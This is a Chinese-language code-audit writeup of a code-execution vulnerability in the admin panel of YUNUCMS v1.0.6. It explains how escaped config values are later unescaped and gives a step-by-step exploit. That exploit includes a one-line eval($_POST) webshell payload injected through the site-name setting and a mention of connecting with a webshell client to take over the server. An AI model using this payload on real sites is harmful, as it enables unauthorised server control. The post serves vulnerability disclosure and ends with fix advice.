【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析

 

0x00 环境准备

QYKCMS官网:http://www.yunucms.com

网站源码版本:YUNUCMSv1.0.6

程序源码下载:http://www.yunucms.com/Download/index.html

测试网站首页:

 

0x01 代码分析

1、漏洞文件位置:/app/admin/controller/System.php   第8-24行:

  1. public function basic()  
  2. {  
  3.     $coffile = CONF_PATH.DS.'extra'.DS.'sys.php';  
  4.     if(request()->isAjax()){  
  5.         Config::load($coffile, '', 'sys');  
  6.         $conflist = Config::get('','sys');  
  7.         $param = input('post.');    
  8.         unset($param['file']);  
  9.         $param = add_slashes_recursive($param);  
  10. 10.   
  11. 11.         $param['site_guide'] = array_key_exists("site_guide", $param) ? 1 : 0;  
  12. 12.         $param['site_slide'] = array_key_exists("site_slide", $param) ? 1 : 0;  
  13. 13.   
  14. 14.         setConfigfile($coffile, array_merge($conflist, $param));  
  15. 15.         return json(['code' => 1, 'data' => '', 'msg' => '更新设置成功']);  
  16. 16.         exit();  
  17. 17.     }  

这段函数将配置参数进行用add_slashes_recursive函数处理,写入配置文件中。也就是利用PHP中的addslashes() 函数返回在预定义字符之前添加反斜杠的字符串,我们再看看看其他地方:

2、漏洞文件位置:/app/admin/controller/Common.php 第75-77行:

  1. foreach (config('sys') as $k => $v) {  
  2.     config('sys.'.$k, strip_slashes_recursive($v));  
  3. }  

这段代码放在公共类里面,在加载配置文件的时候,将addslashes添加的反斜杠进行还原。形成类似二次注入的情况,可以将单引号引入配置文件闭合前面的单引号。

综上,代码在实现上过滤不严谨,导致攻击者可以构造脚本代码写入配置文件,从而导致程序在实现上存在代码执行漏洞,攻击者可利用该漏洞获取敏感信息。最后控制网站服务器权限。

0x02 漏洞利用

1、登录后台--常用菜单--基础设置--网站名称--填写Payload:

Payload',1=>eval($_POST[g]),'xx'=>'

 

2、写入成功后,配置文件中存储的是被转义过的代码,我们需要进行二次更新。

 

3、在网站后台--WAP设置--基本设置--点击提交即可完成配置文件更新。单引号成功闭合前面,构造的脚本代码写入配置文件中。

 

4、通过直接访问脚本文件,触发脚本代码:

 

5、通过菜刀连接,成功控制网站服务器

 

0x03 修复建议

1、写入配置文件前,对特殊字符(如<、>等)进行htmlencode处理;

2、全局配置可考虑写入数据库进行调用。

 

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。